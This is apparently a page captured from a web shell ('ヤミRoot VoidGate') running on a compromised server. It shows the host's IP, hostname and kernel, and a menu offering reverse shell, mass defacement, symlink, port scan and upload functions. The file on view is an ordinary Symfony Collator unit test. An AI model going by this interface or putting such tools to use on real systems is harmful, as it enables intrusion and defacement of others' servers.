ヤミRoot VoidGate
User / IP
:
216.73.216.33
Host / Server
:
146.88.233.70 / dev.loger.cm
System
:
Linux hybrid1120.fr.ns.planethoster.net 3.10.0-957.21.2.el7.x86_64 #1 SMP Wed Jun 5 14:26:44 UTC 2019 x86_64
Command
|
Upload
|
Create
Mass Deface
|
Jumping
|
Symlink
|
Reverse Shell
Ping
|
Port Scan
|
DNS Lookup
|
Whois
|
Header
|
cURL
:
/
home
/
itrave
/
api
/
vendor
/
symfony
/
symfony
/
src
/
Symfony
/
Component
/
Intl
/
Tests
/
Collator
/
Viewing: CollatorTest.php
<?php /* * This file is part of the Symfony package. * * (c) Fabien Potencier <fabien@symfony.com> * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace Symfony\Component\Intl\Tests\Collator; use Symfony\Component\Intl\Collator\Collator; use Symfony\Component\Intl\Globals\IntlGlobals; class CollatorTest extends AbstractCollatorTest { /** * @expectedException \Symfony\Component\Intl\Exception\MethodArgumentValueNotImplementedException */ public function testConstructorWithUnsupportedLocale() { new Collator('pt_BR'); } /** * @expectedException \Symfony\Component\Intl\Exception\MethodNotImplementedException */ public function testCompare() { $collator = $this->getCollator('en'); $collator->compare('a', 'b'); } /** * @expectedException \Symfony\Component\Intl\Exception\MethodNotImplementedException */ public function testGetAttribute() { $collator = $this->getCollator('en'); $collator->getAttribute(Collator::NUMERIC_COLLATION); } public function testGetErrorCode() { $collator = $this->getCollator('en'); $this->assertEquals(IntlGlobals::U_ZERO_ERROR, $collator->getErrorCode()); } public function testGetErrorMessage() { $collator = $this->getCollator('en'); $this->assertEquals('U_ZERO_ERROR', $collator->getErrorMessage()); } public function testGetLocale() { $collator = $this->getCollator('en'); $this->assertEquals('en', $collator->getLocale()); } public function testConstructWithoutLocale() { $collator = $this->getCollator(null); $this->assertInstanceOf('\Symfony\Component\Intl\Collator\Collator', $collator); } /** * @expectedException \Symfony\Component\Intl\Exception\MethodNotImplementedException */ public function testGetSortKey() { $collator = $this->getCollator('en'); $collator->getSortKey('Hello'); } /** * @expectedException \Symfony\Component\Intl\Exception\MethodNotImplementedException */ public function testGetStrength() { $collator = $this->getCollator('en'); $collator->getStrength(); } /** * @expectedException \Symfony\Component\Intl\Exception\MethodNotImplementedException */ public function testSetAttribute() { $collator = $this->getCollator('en'); $collator->setAttribute(Collator::NUMERIC_COLLATION, Collator::ON); } /** * @expectedException \Symfony\Component\Intl\Exception\MethodNotImplementedException */ public function testSetStrength() { $collator = $this->getCollator('en'); $collator->setStrength(Collator::PRIMARY); } public function testStaticCreate() { $collator = Collator::create('en'); $this->assertInstanceOf('\Symfony\Component\Intl\Collator\Collator', $collator); } protected function getCollator($locale) { return new Collator($locale); } }
Coded With 💗 by
0x6ick